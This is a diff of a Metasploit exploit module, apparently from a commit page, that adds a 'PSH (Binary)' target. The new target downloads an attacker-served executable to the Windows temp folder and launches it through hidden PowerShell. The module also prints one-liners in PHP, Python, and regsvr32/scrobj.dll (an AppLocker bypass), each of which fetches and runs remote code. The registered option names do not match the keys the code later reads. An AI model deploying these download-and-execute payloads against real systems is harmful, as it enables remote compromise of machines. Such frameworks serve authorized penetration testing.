8
8
class MetasploitModule < Msf ::Exploit ::Remote
9
9
Rank = ManualRanking
10
10
11
+ include Msf ::Exploit ::EXE
11
12
include Msf ::Exploit ::Powershell
12
13
include Msf ::Exploit ::Remote ::HttpServer
13
14
@@ -31,6 +32,8 @@ def initialize(info = {})
31
32
The signed Microsoft binary file, Regsvr32, is able to request an .sct file and then execute the included
32
33
PowerShell command inside of it. Both web requests (i.e., the .sct file and PowerShell download/execute)
33
34
can occur on the same port.
35
+
36
+ "PSH (Binary)" will write a file to the disk, allowing for custom binaries to be served up to be downloaded/executed.
34
37
) ,
35
38
'License' => MSF_LICENSE ,
36
39
'Author' =>
@@ -40,6 +43,7 @@ def initialize(info = {})
40
43
'Chris Campbell' , # @obscuresec - Inspiration n.b. no relation!
41
44
'Casey Smith' , # AppLocker bypass research and vulnerability discovery (@subTee)
42
45
'Trenton Ivey' , # AppLocker MSF Module (kn0)
46
+ 'g0tmi1k' , # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
43
47
] ,
44
48
'DefaultOptions' =>
45
49
{
@@ -71,6 +75,10 @@ def initialize(info = {})
71
75
[ 'Regsvr32' , {
72
76
'Platform' => 'win' ,
73
77
'Arch' => [ ARCH_X86 , ARCH_X64 ]
78
+ } ] ,
79
+ [ 'PSH (Binary)' , {
80
+ 'Platform' => 'win' ,
81
+ 'Arch' => [ ARCH_X86 , ARCH_X64 ]
74
82
} ]
75
83
] ,
76
84
'DefaultTarget' => 0 ,
@@ -79,32 +87,43 @@ def initialize(info = {})
79
87
80
88
register_advanced_options (
81
89
[
82
- OptBool . new ( 'PSH-Proxy' , [ true , 'PowerShell - Use the system proxy' , true ] )
90
+ OptBool . new ( 'PSH-Proxy' , [ true , 'PSH - Use the system proxy' , true ] ) ,
91
+ OptString . new ( 'PSHBinary-PATH' , [ false , 'PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)' , '' ] ) ,
92
+ OptString . new ( 'PSHBinary-FILENAME' , [ false , 'PSH (Binary) - The filename to use (Will be random if left blank)' , '' ] ) ,
83
93
] , self . class
84
94
)
85
95
end
86
96
87
97
88
98
def primer
89
- url = get_uri
99
+ php = %Q(php -d allow_url_fopen=true -r "eval(file_get_contents('#{ get_uri } '));")
100
+ python = %Q(python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{ get_uri } ');exec(r.read());")
101
+ regsvr = %Q(regsvr32 /s /n /u /i:#{ get_uri } .sct scrobj.dll)
102
+
90
103
print_status ( "Run the following command on the target machine:" )
91
104
case target . name
92
105
when 'PHP'
93
- print_line ( %Q(php -d allow_url_fopen=true -r "eval(file_get_contents(' #{ url } '));") )
106
+ print_line ( " #{ php } " )
94
107
when 'Python'
95
- print_line ( %Q(python -c "import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen(' #{ url } ');exec(r.read());") )
108
+ print_line ( " #{ python } " )
96
109
when 'PSH'
97
- print_line ( gen_psh ( url ) )
110
+ psh = gen_psh ( "#{ get_uri } " , "string" )
111
+ print_line ( "#{ psh } " )
98
112
when 'Regsvr32'
99
- print_line ( "regsvr32 /s /n /u /i:#{ url } .sct scrobj.dll" )
113
+ print_line ( "#{ regsvr } " )
114
+ when 'PSH (Binary)'
115
+ psh = gen_psh ( "#{ get_uri } " , "download" )
116
+ print_line ( "#{ psh } " )
100
117
end
101
118
end
102
119
103
120
104
121
def on_request_uri ( cli , _request )
105
122
if _request . raw_uri =~ /\. sct$/
106
- psh = gen_psh ( get_uri )
123
+ psh = gen_psh ( " #{ get_uri } " , "string" )
107
124
data = gen_sct_file ( psh )
125
+ elsif target . name . include? 'PSH (Binary)'
126
+ data = generate_payload_exe
108
127
elsif target . name . include? 'PSH' or target . name . include? 'Regsvr32'
109
128
data = cmd_psh_payload ( payload . encoded ,
110
129
payload_instance . arch . first ,
@@ -125,10 +144,34 @@ def on_request_uri(cli, _request)
125
144
end
126
145
127
146
128
- def gen_psh ( url )
147
+ def gen_psh ( url , * method )
129
148
ignore_cert = Rex ::Powershell ::PshMethods . ignore_ssl_certificate if ssl
130
- download_string = datastore [ 'PSH-Proxy' ] ? ( Rex ::Powershell ::PshMethods . proxy_aware_download_and_exec_string ( url ) ) : ( Rex ::Powershell ::PshMethods . download_and_exec_string ( url ) )
131
- download_and_run = "#{ ignore_cert } #{ download_string } "
149
+
150
+ if method . include? 'string'
151
+ download_string = datastore [ 'PSH-Proxy' ] ? ( Rex ::Powershell ::PshMethods . proxy_aware_download_and_exec_string ( url ) ) : ( Rex ::Powershell ::PshMethods . download_and_exec_string ( url ) )
152
+ download_and_run = "#{ ignore_cert } #{ download_string } "
153
+ else
154
+ # Random filename to use, if there isn't anything set
155
+ random = "#{ rand_text_alphanumeric 8 } .exe"
156
+
157
+ # Set filename (Use random filename if empty)
158
+ filename = datastore [ 'BinaryEXE-FILENAME' ] . blank? ? random : datastore [ 'BinaryEXE-FILENAME' ]
159
+
160
+ # Set path (Use %TEMP% if empty)
161
+ path = datastore [ 'BinaryEXE-PATH' ] . blank? ? "$env:temp" : %Q('#{ datastore [ 'BinaryEXE-PATH' ] } ')
162
+
163
+ # Join Path and Filename
164
+ file = %Q(echo (#{ path } +'\\ #{ filename } '))
165
+
166
+ # Generate download PowerShell command
167
+ #download_string = Rex::Powershell::PshMethods.download(url, "$z") # Can't use, due to single vs double quotes in the URL
168
+ download_string = %Q^(new-object System.Net.WebClient).DownloadFile('#{ url } ', "$z")^
169
+
170
+ # Join PowerShell commands up
171
+ download_and_run = "$z=#{ file } ;#{ ignore_cert } #{ download_string } ;invoke-item $z"
172
+ end
173
+
174
+ # Generate main PowerShell command
132
175
return generate_psh_command_line ( noprofile : true ,
133
176
windowstyle : 'hidden' ,
134
177
command : download_and_run
0 commit comments